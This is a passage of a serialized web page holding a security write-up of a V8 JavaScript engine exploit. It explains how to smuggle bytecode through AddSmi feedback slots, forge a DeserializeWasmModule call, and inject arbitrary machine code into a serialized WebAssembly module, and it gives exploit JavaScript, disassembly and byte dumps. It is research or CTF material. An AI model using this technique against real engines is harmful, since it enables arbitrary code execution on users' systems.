",{"type":24,"tag":154,"props":134283,"children":134285},{"className":134284},[],[134286],{"type":29,"value":45650},{"type":29,"value":191},{"type":24,"tag":154,"props":134289,"children":134291},{"className":134290},[],[134292],{"type":29,"value":45793},{"type":29,"value":1826},{"type":24,"tag":154,"props":134295,"children":134297},{"className":134296},[],[134298],{"type":29,"value":45776},{"type":29,"value":134300}," would be encoded as ",{"type":24,"tag":154,"props":134302,"children":134304},{"className":134303},[],[134305],{"type":29,"value":134306},"\u003Cr2> \u003C3>",{"type":29,"value":134308},").\nThis requires ",{"type":24,"tag":32,"props":134310,"children":134311},{},[134312],{"type":29,"value":19348},{"type":29,"value":134314}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":24,"tag":395,"props":134316,"children":134318},{"id":134317},"better-bytecode-control",[134319],{"type":29,"value":134320},"Better Bytecode Control",{"type":24,"tag":25,"props":134322,"children":134323},{},[134324,134326,134333,134335,134341],{"type":29,"value":134325},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":24,"tag":101,"props":134327,"children":134330},{"href":134328,"rel":134329},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[105],[134331],{"type":29,"value":134332},"feedback vector slot",{"type":29,"value":134334},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":24,"tag":154,"props":134336,"children":134338},{"className":134337},[],[134339],{"type":29,"value":134340},"AddSmi",{"type":29,"value":134342}," instruction, it represents the number of operations performed on the target value so far.",{"type":24,"tag":25,"props":134344,"children":134345},{},[134346],{"type":29,"value":134347},"For example, we can look at the below Ignition disassembly:",{"type":24,"tag":147,"props":134349,"children":134351},{"code":134350},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[134352],{"type":24,"tag":154,"props":134353,"children":134354},{"__ignoreMap":7},[134355],{"type":29,"value":134350},{"type":24,"tag":25,"props":134357,"children":134358},{},[134359,134361,134367],{"type":29,"value":134360},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":24,"tag":154,"props":134362,"children":134364},{"className":134363},[],[134365],{"type":29,"value":134366},"AddSmi.ExtraWide",{"type":29,"value":134368},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":24,"tag":25,"props":134370,"children":134371},{},[134372],{"type":29,"value":134373},"Eventually, we can reach a stage like this:",{"type":24,"tag":147,"props":134375,"children":134377},{"code":134376},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[134378],{"type":24,"tag":154,"props":134379,"children":134380},{"__ignoreMap":7},[134381],{"type":29,"value":134376},{"type":24,"tag":25,"props":134383,"children":134384},{},[134385],{"type":29,"value":134386},"If you skip the first two bytes, you have",{"type":24,"tag":17924,"props":134388,"children":134389},{},[134390,134421],{"type":24,"tag":1790,"props":134391,"children":134392},{},[134393,134398,134400,134405,134407,134413,134415],{"type":24,"tag":154,"props":134394,"children":134396},{"className":134395},[],[134397],{"type":29,"value":134192},{"type":29,"value":134399}," (0x6c) to ",{"type":24,"tag":154,"props":134401,"children":134403},{"className":134402},[],[134404],{"type":29,"value":134208},{"type":29,"value":134406}," (0x0266) starting from register ",{"type":24,"tag":154,"props":134408,"children":134410},{"className":134409},[],[134411],{"type":29,"value":134412},"a2",{"type":29,"value":134414}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":24,"tag":154,"props":134416,"children":134418},{"className":134417},[],[134419],{"type":29,"value":134420},"DeserializeWasmModule(a2, a1)",{"type":24,"tag":1790,"props":134422,"children":134423},{},[134424],{"type":29,"value":134425},"a Jump instruction",{"type":24,"tag":395,"props":134427,"children":134429},{"id":134428},"returning-back-to-js",[134430],{"type":29,"value":134431},"Returning Back to JS",{"type":24,"tag":25,"props":134433,"children":134434},{},[134435,134437,134443],{"type":29,"value":134436},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":24,"tag":154,"props":134438,"children":134440},{"className":134439},[],[134441],{"type":29,"value":134442},"yield",{"type":29,"value":134444}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":24,"tag":25,"props":134446,"children":134447},{},[134448],{"type":29,"value":134449},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":24,"tag":147,"props":134451,"children":134453},{"code":134452,"language":32626,"meta":7,"className":32624,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[134454],{"type":24,"tag":154,"props":134455,"children":134456},{"__ignoreMap":7},[134457,134468,134516,134537,134553,134576,134604,134621],{"type":24,"tag":158,"props":134458,"children":134459},{"class":160,"line":161},[134460,134464],{"type":24,"tag":158,"props":134461,"children":134462},{"style":1914},[134463],{"type":29,"value":49602},{"type":24,"tag":158,"props":134465,"children":134466},{"style":188},[134467],{"type":29,"value":210},{"type":24,"tag":158,"props":134469,"children":134470},{"class":160,"line":213},[134471,134476,134480,134485,134489,134494,134498,134503,134507,134511],{"type":24,"tag":158,"props":134472,"children":134473},{"style":177},[134474],{"type":29,"value":134475}," $",{"type":24,"tag":158,"props":134477,"children":134478},{"style":188},[134479],{"type":29,"value":77896},{"type":24,"tag":158,"props":134481,"children":134482},{"style":1108},[134483],{"type":29,"value":134484},"'a1 + 0xa931111;'",{"type":24,"tag":158,"props":134486,"children":134487},{"style":188},[134488],{"type":29,"value":347},{"type":24,"tag":158,"props":134490,"children":134491},{"style":496},[134492],{"type":29,"value":134493},"repeat",{"type":24,"tag":158,"props":134495,"children":134496},{"style":188},[134497],{"type":29,"value":504},{"type":24,"tag":158,"props":134499,"children":134500},{"style":465},[134501],{"type":29,"value":134502},"0x059302",{"type":24,"tag":158,"props":134504,"children":134505},{"style":222},[134506],{"type":29,"value":52527},{"type":24,"tag":158,"props":134508,"children":134509},{"style":465},[134510],{"type":29,"value":1668},{"type":24,"tag":158,"props":134512,"children":134513},{"style":188},[134514],{"type":29,"value":134515},")}\n",{"type":24,"tag":158,"props":134517,"children":134518},{"class":160,"line":238},[134519,134524,134528,134533],{"type":24,"tag":158,"props":134520,"children":134521},{"style":177},[134522],{"type":29,"value":134523}," a1",{"type":24,"tag":158,"props":134525,"children":134526},{"style":222},[134527],{"type":29,"value":2308},{"type":24,"tag":158,"props":134529,"children":134530},{"style":465},[134531],{"type":29,"value":134532}," 0x0402666c",{"type":24,"tag":158,"props":134534,"children":134535},{"style":188},[134536],{"type":29,"value":473},{"type":24,"tag":158,"props":134538,"children":134539},{"class":160,"line":259},[134540,134544,134549],{"type":24,"tag":158,"props":134541,"children":134542},{"style":1914},[134543],{"type":29,"value":36465},{"type":24,"tag":158,"props":134545,"children":134546},{"style":465},[134547],{"type":29,"value":134548}," 0x393e91a",{"type":24,"tag":158,"props":134550,"children":134551},{"style":188},[134552],{"type":29,"value":473},{"type":24,"tag":158,"props":134554,"children":134555},{"class":160,"line":280},[134556,134560,134564,134568,134572],{"type":24,"tag":158,"props":134557,"children":134558},{"style":188},[134559],{"type":29,"value":48144},{"type":24,"tag":158,"props":134561,"children":134562},{"style":1914},[134563],{"type":29,"value":49682},{"type":24,"tag":158,"props":134565,"children":134566},{"style":188},[134567],{"type":29,"value":2262},{"type":24,"tag":158,"props":134569,"children":134570},{"style":177},[134571],{"type":29,"value":52726},{"type":24,"tag":158,"props":134573,"children":134574},{"style":188},[134575],{"type":29,"value":16038},{"type":24,"tag":158,"props":134577,"children":134578},{"class":160,"line":301},[134579,134583,134587,134591,134595,134600],{"type":24,"tag":158,"props":134580,"children":134581},{"style":177},[134582],{"type":29,"value":103222},{"type":24,"tag":158,"props":134584,"children":134585},{"style":188},[134586],{"type":29,"value":347},{"type":24,"tag":158,"props":134588,"children":134589},{"style":496},[134590],{"type":29,"value":103231},{"type":24,"tag":158,"props":134592,"children":134593},{"style":188},[134594],{"type":29,"value":504},{"type":24,"tag":158,"props":134596,"children":134597},{"style":1108},[134598],{"type":29,"value":134599},"\"foo\"",{"type":24,"tag":158,"props":134601,"children":134602},{"style":188},[134603],{"type":29,"value":1071},{"type":24,"tag":158,"props":134605,"children":134606},{"class":160,"line":626},[134607,134612,134617],{"type":24,"tag":158,"props":134608,"children":134609},{"style":1914},[134610],{"type":29,"value":134611}," yield",{"type":24,"tag":158,"props":134613,"children":134614},{"style":177},[134615],{"type":29,"value":134616}," a16",{"type":24,"tag":158,"props":134618,"children":134619},{"style":188},[134620],{"type":29,"value":473},{"type":24,"tag":158,"props":134622,"children":134623},{"class":160,"line":668},[134624],{"type":24,"tag":158,"props":134625,"children":134626},{"style":188},[134627],{"type":29,"value":307},{"type":24,"tag":25,"props":134629,"children":134630},{},[134631,134633],{"type":29,"value":134632},"Starting from the final ",{"type":24,"tag":154,"props":134634,"children":134636},{"className":134635},[],[134637],{"type":29,"value":134340},{"type":24,"tag":147,"props":134639,"children":134641},{"code":134640}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[134642],{"type":24,"tag":154,"props":134643,"children":134644},{"__ignoreMap":7},[134645],{"type":29,"value":134640},{"type":24,"tag":25,"props":134647,"children":134648},{},[134649,134651,134656,134658,134664],{"type":29,"value":134650},"The smuggled jump in ",{"type":24,"tag":154,"props":134652,"children":134654},{"className":134653},[],[134655],{"type":29,"value":134340},{"type":29,"value":134657}," will redirect us to ",{"type":24,"tag":154,"props":134659,"children":134661},{"className":134660},[],[134662],{"type":29,"value":134663},"1a e9 93 03",{"type":29,"value":134665},", which results in:",{"type":24,"tag":17924,"props":134667,"children":134668},{},[134669,134680],{"type":24,"tag":1790,"props":134670,"children":134671},{},[134672,134678],{"type":24,"tag":154,"props":134673,"children":134675},{"className":134674},[],[134676],{"type":29,"value":134677},"Star r16",{"type":29,"value":134679}," (store accumulator to r16)",{"type":24,"tag":1790,"props":134681,"children":134682},{},[134683,134688],{"type":24,"tag":154,"props":134684,"children":134686},{"className":134685},[],[134687],{"type":29,"value":134110},{"type":29,"value":134689}," past the throw into the catch relevant code",{"type":24,"tag":25,"props":134691,"children":134692},{},[134693,134695,134701],{"type":29,"value":134694},"This will bring us nicely to the final ",{"type":24,"tag":154,"props":134696,"children":134698},{"className":134697},[],[134699],{"type":29,"value":134700},"yield a16",{"type":29,"value":134702},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":24,"tag":395,"props":134704,"children":134706},{"id":134705},"executing-shellcode",[134707],{"type":29,"value":134708},"Executing Shellcode",{"type":24,"tag":25,"props":134710,"children":134711},{},[134712],{"type":29,"value":134713},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":24,"tag":147,"props":134715,"children":134717},{"code":134716,"language":36879,"meta":7,"className":36877,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[134718],{"type":24,"tag":154,"props":134719,"children":134720},{"__ignoreMap":7},[134721,134751,134978,135046,135053,135098,135144,135184,135191,135215,135252,135288],{"type":24,"tag":158,"props":134722,"children":134723},{"class":160,"line":161},[134724,134728,134733,134737,134741,134746],{"type":24,"tag":158,"props":134725,"children":134726},{"style":165},[134727],{"type":29,"value":36310},{"type":24,"tag":158,"props":134729,"children":134730},{"style":177},[134731],{"type":29,"value":134732}," wasm_code",{"type":24,"tag":158,"props":134734,"children":134735},{"style":222},[134736],{"type":29,"value":462},{"type":24,"tag":158,"props":134738,"children":134739},{"style":165},[134740],{"type":29,"value":33194},{"type":24,"tag":158,"props":134742,"children":134743},{"style":496},[134744],{"type":29,"value":134745}," Uint8Array",{"type":24,"tag":158,"props":134747,"children":134748},{"style":188},[134749],{"type":29,"value":134750},"([\n",{"type":24,"tag":158,"props":134752,"children":134753},{"class":160,"line":213},[134754,134759,134763,134768,134772,134777,134781,134786,134790,134794,134798,134802,134806,134810,134814,134818,134822,134826,134830,134834,134838,134842,134846,134851,134855,134859,134863,134867,134871,134875,134879,134883,134887,134891,134895,134899,134903,134907,134911,134915,134919,134923,134927,134931,134935,134939,134943,134948,134952,134957,134961,134966,134970,134974],{"type":24,"tag":158,"props":134755,"children":134756},{"style":465},[134757],{"type":29,"value":134758}," 0",{"type":24,"tag":158,"props":134760,"children":134761},{"style":188},[134762],{"type":29,"value":191},{"type":24,"tag":158,"props":134764,"children":134765},{"style":465},[134766],{"type":29,"value":134767},"97",{"type":24,"tag":158,"props":134769,"children":134770},{"style":188},[134771],{"type":29,"value":191},{"type":24,"tag":158,"props":134773,"children":134774},{"style":465},[134775],{"type":29,"value":134776},"115",{"type":24,"tag":158,"props":134778,"children":134779},{"style":188},[134780],{"type":29,"value":191},{"type":24,"tag":158,"props":134782,"children":134783},{"style":465},[134784],{"type":29,"value":134785},"109",{"type":24,"tag":158,"props":134787,"children":134788},{"style":188},[134789],{"type":29,"value":191},{"type":24,"tag":158,"props":134791,"children":134792},{"style":465},[134793],{"type":29,"value":5672},{"type":24,"tag":158,"props":134795,"children":134796},{"style":188},[134797],{"type":29,"value":191},{"type":24,"tag":158,"props":134799,"children":134800},{"style":465},[134801],{"type":29,"value":5682},{"type":24,"tag":158,"props":134803,"children":134804},{"style":188},[134805],{"type":29,"value":191},{"type":24,"tag":158,"props":134807,"children":134808},{"style":465},[134809],{"type":29,"value":5682},{"type":24,"tag":158,"props":134811,"children":134812},{"style":188},[134813],{"type":29,"value":191},{"type":24,"tag":158,"props":134815,"children":134816},{"style":465},[134817],{"type":29,"value":5682},{"type":24,"tag":158,"props":134819,"children":134820},{"style":188},[134821],{"type":29,"value":191},{"type":24,"tag":158,"props":134823,"children":134824},{"style":465},[134825],{"type":29,"value":5672},{"type":24,"tag":158,"props":134827,"children":134828},{"style":188},[134829],{"type":29,"value":191},{"type":24,"tag":158,"props":134831,"children":134832},{"style":465},[134833],{"type":29,"value":18767},{"type":24,"tag":158,"props":134835,"children":134836},{"style":188},[134837],{"type":29,"value":191},{"type":24,"tag":158,"props":134839,"children":134840},{"style":465},[134841],{"type":29,"value":5672},{"type":24,"tag":158,"props":134843,"children":134844},{"style":188},[134845],{"type":29,"value":191},{"type":24,"tag":158,"props":134847,"children":134848},{"style":465},[134849],{"type":29,"value":134850},"96",{"type":24,"tag":158,"props":134852,"children":134853},{"style":188},[134854],{"type":29,"value":191},{"type":24,"tag":158,"props":134856,"children":134857},{"style":465},[134858],{"type":29,"value":5682},{"type":24,"tag":158,"props":134860,"children":134861},{"style":188},[134862],{"type":29,"value":191},{"type":24,"tag":158,"props":134864,"children":134865},{"style":465},[134866],{"type":29,"value":5682},{"type":24,"tag":158,"props":134868,"children":134869},{"style":188},[134870],{"type":29,"value":191},{"type":24,"tag":158,"props":134872,"children":134873},{"style":465},[134874],{"type":29,"value":18534},{"type":24,"tag":158,"props":134876,"children":134877},{"style":188},[134878],{"type":29,"value":191},{"type":24,"tag":158,"props":134880,"children":134881},{"style":465},[134882],{"type":29,"value":4789},{"type":24,"tag":158,"props":134884,"children":134885},{"style":188},[134886],{"type":29,"value":191},{"type":24,"tag":158,"props":134888,"children":134889},{"style":465},[134890],{"type":29,"value":5672},{"type":24,"tag":158,"props":134892,"children":134893},{"style":188},[134894],{"type":29,"value":191},{"type":24,"tag":158,"props":134896,"children":134897},{"style":465},[134898],{"type":29,"value":5682},{"type":24,"tag":158,"props":134900,"children":134901},{"style":188},[134902],{"type":29,"value":191},{"type":24,"tag":158,"props":134904,"children":134905},{"style":465},[134906],{"type":29,"value":55943},{"type":24,"tag":158,"props":134908,"children":134909},{"style":188},[134910],{"type":29,"value":191},{"type":24,"tag":158,"props":134912,"children":134913},{"style":465},[134914],{"type":29,"value":57158},{"type":24,"tag":158,"props":134916,"children":134917},{"style":188},[134918],{"type":29,"value":191},{"type":24,"tag":158,"props":134920,"children":134921},{"style":465},[134922],{"type":29,"value":5672},{"type":24,"tag":158,"props":134924,"children":134925},{"style":188},[134926],{"type":29,"value":191},{"type":24,"tag":158,"props":134928,"children":134929},{"style":465},[134930],{"type":29,"value":19348},{"type":24,"tag":158,"props":134932,"children":134933},{"style":188},[134934],{"type":29,"value":191},{"type":24,"tag":158,"props":134936,"children":134937},{"style":465},[134938],{"type":29,"value":134776},{"type":24,"tag":158,"props":134940,"children":134941},{"style":188},[134942],{"type":29,"value":191},{"type":24,"tag":158,"props":134944,"children":134945},{"style":465},[134946],{"type":29,"value":134947},"104",{"type":24,"tag":158,"props":134949,"children":134950},{"style":188},[134951],{"type":29,"value":191},{"type":24,"tag":158,"props":134953,"children":134954},{"style":465},[134955],{"type":29,"value":134956},"101",{"type":24,"tag":158,"props":134958,"children":134959},{"style":188},[134960],{"type":29,"value":191},{"type":24,"tag":158,"props":134962,"children":134963},{"style":465},[134964],{"type":29,"value":134965},"108",{"type":24,"tag":158,"props":134967,"children":134968},{"style":188},[134969],{"type":29,"value":191},{"type":24,"tag":158,"props":134971,"children":134972},{"style":465},[134973],{"type":29,"value":134965},{"type":24,"tag":158,"props":134975,"children":134976},{"style":188},[134977],{"type":29,"value":235},{"type":24,"tag":158,"props":134979,"children":134980},{"class":160,"line":238},[134981,134985,134989,134993,134997,135001,135005,135009,135013,135017,135021,135025,135029,135033,135037,135042],{"type":24,"tag":158,"props":134982,"children":134983},{"style":465},[134984],{"type":29,"value":134758},{"type":24,"tag":158,"props":134986,"children":134987},{"style":188},[134988],{"type":29,"value":191},{"type":24,"tag":158,"props":134990,"children":134991},{"style":465},[134992],{"type":29,"value":5682},{"type":24,"tag":158,"props":134994,"children":134995},{"style":188},[134996],{"type":29,"value":191},{"type":24,"tag":158,"props":134998,"children":134999},{"style":465},[135000],{"type":29,"value":90531},{"type":24,"tag":158,"props":135002,"children":135003},{"style":188},[135004],{"type":29,"value":191},{"type":24,"tag":158,"props":135006,"children":135007},{"style":465},[135008],{"type":29,"value":18767},{"type":24,"tag":158,"props":135010,"children":135011},{"style":188},[135012],{"type":29,"value":191},{"type":24,"tag":158,"props":135014,"children":135015},{"style":465},[135016],{"type":29,"value":5672},{"type":24,"tag":158,"props":135018,"children":135019},{"style":188},[135020],{"type":29,"value":191},{"type":24,"tag":158,"props":135022,"children":135023},{"style":465},[135024],{"type":29,"value":4789},{"type":24,"tag":158,"props":135026,"children":135027},{"style":188},[135028],{"type":29,"value":191},{"type":24,"tag":158,"props":135030,"children":135031},{"style":465},[135032],{"type":29,"value":5682},{"type":24,"tag":158,"props":135034,"children":135035},{"style":188},[135036],{"type":29,"value":191},{"type":24,"tag":158,"props":135038,"children":135039},{"style":465},[135040],{"type":29,"value":135041},"11",{"type":24,"tag":158,"props":135043,"children":135044},{"style":188},[135045],{"type":29,"value":235},{"type":24,"tag":158,"props":135047,"children":135048},{"class":160,"line":259},[135049],{"type":24,"tag":158,"props":135050,"children":135051},{"style":188},[135052],{"type":29,"value":5409},{"type":24,"tag":158,"props":135054,"children":135055},{"class":160,"line":280},[135056,135060,135064,135068,135072,135077,135081,135085,135089,135094],{"type":24,"tag":158,"props":135057,"children":135058},{"style":165},[135059],{"type":29,"value":36310},{"type":24,"tag":158,"props":135061,"children":135062},{"style":177},[135063],{"type":29,"value":72900},{"type":24,"tag":158,"props":135065,"children":135066},{"style":222},[135067],{"type":29,"value":462},{"type":24,"tag":158,"props":135069,"children":135070},{"style":165},[135071],{"type":29,"value":33194},{"type":24,"tag":158,"props":135073,"children":135074},{"style":177},[135075],{"type":29,"value":135076}," WebAssembly",{"type":24,"tag":158,"props":135078,"children":135079},{"style":188},[135080],{"type":29,"value":347},{"type":24,"tag":158,"props":135082,"children":135083},{"style":496},[135084],{"type":29,"value":87197},{"type":24,"tag":158,"props":135086,"children":135087},{"style":188},[135088],{"type":29,"value":504},{"type":24,"tag":158,"props":135090,"children":135091},{"style":177},[135092],{"type":29,"value":135093},"wasm_code",{"type":24,"tag":158,"props":135095,"children":135096},{"style":188},[135097],{"type":29,"value":1071},{"type":24,"tag":158,"props":135099,"children":135100},{"class":160,"line":301},[135101,135105,135110,135114,135118,135122,135126,135131,135135,135140],{"type":24,"tag":158,"props":135102,"children":135103},{"style":165},[135104],{"type":29,"value":36310},{"type":24,"tag":158,"props":135106,"children":135107},{"style":177},[135108],{"type":29,"value":135109}," inst",{"type":24,"tag":158,"props":135111,"children":135112},{"style":222},[135113],{"type":29,"value":462},{"type":24,"tag":158,"props":135115,"children":135116},{"style":165},[135117],{"type":29,"value":33194},{"type":24,"tag":158,"props":135119,"children":135120},{"style":177},[135121],{"type":29,"value":135076},{"type":24,"tag":158,"props":135123,"children":135124},{"style":188},[135125],{"type":29,"value":347},{"type":24,"tag":158,"props":135127,"children":135128},{"style":496},[135129],{"type":29,"value":135130},"Instance",{"type":24,"tag":158,"props":135132,"children":135133},{"style":188},[135134],{"type":29,"value":504},{"type":24,"tag":158,"props":135136,"children":135137},{"style":177},[135138],{"type":29,"value":135139},"mod",{"type":24,"tag":158,"props":135141,"children":135142},{"style":188},[135143],{"type":29,"value":1071},{"type":24,"tag":158,"props":135145,"children":135146},{"class":160,"line":626},[135147,135151,135155,135159,135163,135167,135171,135175,135180],{"type":24,"tag":158,"props":135148,"children":135149},{"style":165},[135150],{"type":29,"value":36310},{"type":24,"tag":158,"props":135152,"children":135153},{"style":177},[135154],{"type":29,"value":81287},{"type":24,"tag":158,"props":135156,"children":135157},{"style":222},[135158],{"type":29,"value":462},{"type":24,"tag":158,"props":135160,"children":135161},{"style":177},[135162],{"type":29,"value":135109},{"type":24,"tag":158,"props":135164,"children":135165},{"style":188},[135166],{"type":29,"value":347},{"type":24,"tag":158,"props":135168,"children":135169},{"style":177},[135170],{"type":29,"value":39150},{"type":24,"tag":158,"props":135172,"children":135173},{"style":188},[135174],{"type":29,"value":347},{"type":24,"tag":158,"props":135176,"children":135177},{"style":177},[135178],{"type":29,"value":135179},"shell",{"type":24,"tag":158,"props":135181,"children":135182},{"style":188},[135183],{"type":29,"value":473},{"type":24,"tag":158,"props":135185,"children":135186},{"class":160,"line":668},[135187],{"type":24,"tag":158,"props":135188,"children":135189},{"emptyLinePlaceholder":16},[135190],{"type":29,"value":481},{"type":24,"tag":158,"props":135192,"children":135193},{"class":160,"line":676},[135194,135198,135203,135207,135211],{"type":24,"tag":158,"props":135195,"children":135196},{"style":222},[135197],{"type":29,"value":57661},{"type":24,"tag":158,"props":135199,"children":135200},{"style":496},[135201],{"type":29,"value":135202},"WasmTierUpFunction",{"type":24,"tag":158,"props":135204,"children":135205},{"style":188},[135206],{"type":29,"value":504},{"type":24,"tag":158,"props":135208,"children":135209},{"style":177},[135210],{"type":29,"value":77578},{"type":24,"tag":158,"props":135212,"children":135213},{"style":188},[135214],{"type":29,"value":1071},{"type":24,"tag":158,"props":135216,"children":135217},{"class":160,"line":684},[135218,135222,135227,135231,135236,135240,135244,135248],{"type":24,"tag":158,"props":135219,"children":135220},{"style":165},[135221],{"type":29,"value":36310},{"type":24,"tag":158,"props":135223,"children":135224},{"style":177},[135225],{"type":29,"value":135226}," serialized",{"type":24,"tag":158,"props":135228,"children":135229},{"style":222},[135230],{"type":29,"value":462},{"type":24,"tag":158,"props":135232,"children":135233},{"style":222},[135234],{"type":29,"value":135235}," %",{"type":24,"tag":158,"props":135237,"children":135238},{"style":496},[135239],{"type":29,"value":134234},{"type":24,"tag":158,"props":135241,"children":135242},{"style":188},[135243],{"type":29,"value":504},{"type":24,"tag":158,"props":135245,"children":135246},{"style":177},[135247],{"type":29,"value":135139},{"type":24,"tag":158,"props":135249,"children":135250},{"style":188},[135251],{"type":29,"value":1071},{"type":24,"tag":158,"props":135253,"children":135254},{"class":160,"line":700},[135255,135259,135263,135267,135271,135275,135279,135284],{"type":24,"tag":158,"props":135256,"children":135257},{"style":165},[135258],{"type":29,"value":2662},{"type":24,"tag":158,"props":135260,"children":135261},{"style":177},[135262],{"type":29,"value":3345},{"type":24,"tag":158,"props":135264,"children":135265},{"style":222},[135266],{"type":29,"value":462},{"type":24,"tag":158,"props":135268,"children":135269},{"style":165},[135270],{"type":29,"value":33194},{"type":24,"tag":158,"props":135272,"children":135273},{"style":496},[135274],{"type":29,"value":134745},{"type":24,"tag":158,"props":135276,"children":135277},{"style":188},[135278],{"type":29,"value":504},{"type":24,"tag":158,"props":135280,"children":135281},{"style":177},[135282],{"type":29,"value":135283},"serialized",{"type":24,"tag":158,"props":135285,"children":135286},{"style":188},[135287],{"type":29,"value":1071},{"type":24,"tag":158,"props":135289,"children":135290},{"class":160,"line":785},[135291,135296,135300,135304,135308,135313,135317,135321,135325,135330,135334,135339,135343,135347,135352],{"type":24,"tag":158,"props":135292,"children":135293},{"style":177},[135294],{"type":29,"value":135295},"console",{"type":24,"tag":158,"props":135297,"children":135298},{"style":188},[135299],{"type":29,"value":347},{"type":24,"tag":158,"props":135301,"children":135302},{"style":496},[135303],{"type":29,"value":103231},{"type":24,"tag":158,"props":135305,"children":135306},{"style":188},[135307],{"type":29,"value":504},{"type":24,"tag":158,"props":135309,"children":135310},{"style":1108},[135311],{"type":29,"value":135312},"'['",{"type":24,"tag":158,"props":135314,"children":135315},{"style":222},[135316],{"type":29,"value":2308},{"type":24,"tag":158,"props":135318,"children":135319},{"style":177},[135320],{"type":29,"value":3345},{"type":24,"tag":158,"props":135322,"children":135323},{"style":188},[135324],{"type":29,"value":347},{"type":24,"tag":158,"props":135326,"children":135327},{"style":496},[135328],{"type":29,"value":135329},"join",{"type":24,"tag":158,"props":135331,"children":135332},{"style":188},[135333],{"type":29,"value":504},{"type":24,"tag":158,"props":135335,"children":135336},{"style":1108},[135337],{"type":29,"value":135338},"', '",{"type":24,"tag":158,"props":135340,"children":135341},{"style":188},[135342],{"type":29,"value":723},{"type":24,"tag":158,"props":135344,"children":135345},{"style":222},[135346],{"type":29,"value":728},{"type":24,"tag":158,"props":135348,"children":135349},{"style":1108},[135350],{"type":29,"value":135351}," ']'",{"type":24,"tag":158,"props":135353,"children":135354},{"style":188},[135355],{"type":29,"value":1071},{"type":24,"tag":25,"props":135357,"children":135358},{},[135359],{"type":29,"value":135360},"This produces the following output:",{"type":24,"tag":147,"props":135362,"children":135364},{"code":135363},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[135365],{"type":24,"tag":154,"props":135366,"children":135367},{"__ignoreMap":7},[135368],{"type":29,"value":135363},{"type":24,"tag":25,"props":135370,"children":135371},{},[135372,135374,135380,135382,135388,135390,135396,135397,135403,135405,135410],{"type":29,"value":135373},"The bytes ",{"type":24,"tag":154,"props":135375,"children":135377},{"className":135376},[],[135378],{"type":29,"value":135379},"85, 72, 137, 229, ...",{"type":29,"value":135381}," correspond to the x86-64 function prologue (",{"type":24,"tag":154,"props":135383,"children":135385},{"className":135384},[],[135386],{"type":29,"value":135387},"push rbp; mov rbp, rsp",{"type":29,"value":135389},"). We replace the first byte with ",{"type":24,"tag":154,"props":135391,"children":135393},{"className":135392},[],[135394],{"type":29,"value":135395},"0xcc",{"type":29,"value":17696},{"type":24,"tag":154,"props":135398,"children":135400},{"className":135399},[],[135401],{"type":29,"value":135402},"int3",{"type":29,"value":135404}," opcode), and use this modified buffer as the serialized input to 